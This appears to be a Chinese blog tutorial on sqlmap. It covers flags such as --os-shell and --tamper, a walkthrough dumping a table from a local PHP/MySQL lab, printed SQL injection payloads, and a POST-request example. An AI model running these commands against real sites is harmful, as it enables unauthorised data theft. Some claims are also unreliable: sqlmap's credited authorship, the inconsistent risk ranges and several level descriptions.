SQLMAP学习使用

SQL描述

SQLMap是一款开源的渗透测试工具,主要用于检测和利用SQL注入漏洞。它是由Burp Suite工具的开发者Bernardo Damele和Miroslav Stampar创建的,并在Python语言下开发。SQL注入是一种常见的网络应用程序漏洞,通过此漏洞,攻击者可以在应用程序的数据库中执行恶意的SQL查询,从而获取敏感数据、修改数据或者对数据库进行非授权的访问。

sqlmap 是一款由 Python 语言编写的自动化检测与利用 SQL 注入漏洞的免费开源工具,支持对多种 SQL 注入的检测和利用,同时也完美支持 MySQL、Oracle、PostgreSQL、MSSQL、Access 等主流数据库

语言:python

参数列表

  1. -u URL: 指定目标URL,用于测试是否存在SQL注入漏洞。
  2. --data DATA: 指定POST请求的数据,用于测试POST请求中的SQL注入漏洞。
  3. --cookie COOKIES: 设置HTTP请求中的Cookie信息。
  4. --random-agent: 使用随机User-Agent头来隐藏请求的来源。
  5. --level LEVEL: 设置测试的注入深度,范围从1到5,默认为1。
  6. --risk RISK: 设置测试的注入风险级别,范围从1到3,默认为1。
  7. --threads THREADS: 设置并发线程的数量。
  8. --dbs: 列出数据库管理系统的所有数据库。
  9. --tables: 列出指定数据库中的所有表。
  10. --columns: 列出指定表中的所有列。
  11. --dump: 获取指定表的数据。
  12. --os-shell: 获取操作系统级别的shell。
  13. --os-pwn: 获取操作系统级别的交互式shell。
  14. --sql-shell: 获取数据库的SQL shell。
  15. --tamper TAMPER: 使用指定的脚本来修改请求中的参数,用于绕过WAF等安全机制。
  16. --crawl: 自动进行爬行,从一个页面发现和测试其他链接。
  17. --batch: 使用批量模式,不需要用户交互。

使用sqlmap进行扫描漏洞过程

  1. 确定目标:首先,确定要测试的目标网站和页面。可以是一个URL或者页面表单。

  2. 检测是否存在SQL注入漏洞:使用SQLMap对目标进行扫描,检测是否存在SQL注入漏洞。可以通过以下命令来进行测试:

    1
    
    sqlmap -u <TARGET_URL> --dbs

    其中,``是目标网站的URL。--dbs参数用于获取数据库管理系统中的所有数据库。

  3. 发现数据库:一旦发现存在SQL注入漏洞并确认数据库管理系统类型,可以使用以下命令获取数据库信息:

    1
    
    sqlmap -u <TARGET_URL> -D <DB_NAME> --tables

    其中,``是要测试的数据库名称。--tables参数用于获取指定数据库中的所有表。

  4. 获取数据:一旦发现表并确认目标表,可以使用以下命令获取表中的数据:

    1
    
    sqlmap -u <TARGET_URL> -D <DB_NAME> -T <TABLE_NAME> --dump

    其中,``是要测试的表名称。--dump参数用于获取指定表的数据。

  5. 自动爬行:可以使用自动爬行功能,让SQLMap自动发现和测试网站上的其他链接。命令如下:

    1
    
    sqlmap -u <TARGET_URL> --crawl
  6. 其他参数:根据需要,还可以使用其他参数和选项,如设置随机User-Agent、使用指定的脚本来修改参数等。

练习靶场

http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F

http://demo.testfire.net/

http://zero.webappsecurity.com/

http://google-gruyere.appspot.com/

其他各种情况自行搜索用法

实战过程

实战环境

phpstudy集成环境开发,php-5.4.45+Apache,Mysql数据库,window操作系统

第一关sql1.php

pPpNDl8.png

观察页面环境

对页面的文本框进行一个基本的确认

pPpNvp6.png

获取页面链接

先提交数据一,获得url

1
http://127.0.0.1/baji/sql1.php?id=1&Submit=提交#
开启sqlmap

sqlmap环境

window操作系统、sqlmap1.7.6.2#dev

先对数据库DBMS进行识别

1
python .\sqlmap.py -u http://127.0.0.1/baji/sql1.php?id=1"&"Submit=%E6%8F%90%E4%BA%A4# -dbs

程序询问

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? 看起来后端DBMS是“MySQL”。是否要跳过特定于其他DBMS的测试有效负载?

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values?

对于剩下的测试,你想包括所有“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?

介绍一下sqlmap的探测等级:从1到5,不加等级参数默认是1。使用测试等级5会使用更多的payload,会自动破解出Cookie、XFF等头部注入。在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用最高的level值。

Level 1:测试最基本的 SQL 注入漏洞,发现 SQL 注入点就会停止测试。 Level 2:测试除了 SQL 注入漏洞以外的其他漏洞,例如文件包含和命令注入等。 Level 3:测试高级的 SQL 注入漏洞,例如联合查询注入和盲注等,需要较长的时间和更多的流量。 Level 4:增加了更多的测试选项和技术手段,例如报错注入和堆叠查询注入等,增加了测试深度和准确性。 Level 5:包括所有可能的测试选项和技术手段,充分挖掘所有的漏洞点,但是会消耗较长时间和大量的流量。

再介绍一下risk等级,也是1-5.

1 - 非常低的风险级别。sqlmap仅仅会检测页面上的输入框是否存在SQL注入的漏洞。 2 - 低风险级别。sqlmap会对输入参数进行基本测试,但是不会对数据库进行修改。 3 - 中等风险级别。sqlmap在测试时可能会对数据库中的数据进行修改,但并不会产生相对严重的后果。 4 - 高风险级别。sqlmap测试时可能会对数据库中的数据进行修改,并且可能会对服务器产生一定的破坏性影响。 5 - 最高风险级别。sqlmap测试时可能会对数据库中的数据进行大规模修改,并且可能会对服务器产生灾难性的影响。总之,不同risk级别之间的区别在于测试时产生的影响大小和破坏程度,越高的risk级别意味着测试时对服务器和数据库的修改和破坏性影响越大。

得到结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4352=4352 AND 'MeXO'='MeXO&Submit=%E6%8F%90%E4%BA%A4

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 8664 FROM(SELECT COUNT(*),CONCAT(0x71716a7a71,(SELECT (ELT(8664=8664,1))),0x716a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xHzM'='xHzM&Submit=%E6%8F%90%E4%BA%A4

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6929 FROM (SELECT(SLEEP(5)))zUNs) AND 'FKLZ'='FKLZ&Submit=%E6%8F%90%E4%BA%A4

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71716a7a71,0x6f4f59666e73734763525847535948775943537a416e656b5a63626c5448414c624e545847595976,0x716a7a6b71)-- -&Submit=%E6%8F%90%E4%BA%A4
---
web application technology: PHP 5.4.45, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
available databases [3]:
[*] information_schema
[*] mysql
[*] test

证明数据库爆破成功,数据库类型是mysql,进行了对数据库的表进行探测

1
 python .\sqlmap.py -u http://127.0.0.1/baji/sql1.php?id=1"&"Submit=%E6%8F%90%E4%BA%A4# -D test --tables

结果

pPpwLDO.png

获取表内部的数据:

1
python .\sqlmap.py -u http://127.0.0.1/baji/sql1.php?id=1"&"Submit=%E6%8F%90%E4%BA%A4# -D test -T flag -dump

pPp092t.png

即可获得想要的数据

sqlmap爆破post请求

需要用到 -r参数读取文件,例如下面的1.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 10.129.219.109
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.219.109
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.129.219.109/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 21

username=1&password=1

sqlmap命令为

1
 python .\sqlmap.py -r  "G:\desktop\1.txt"

后面可自己加参数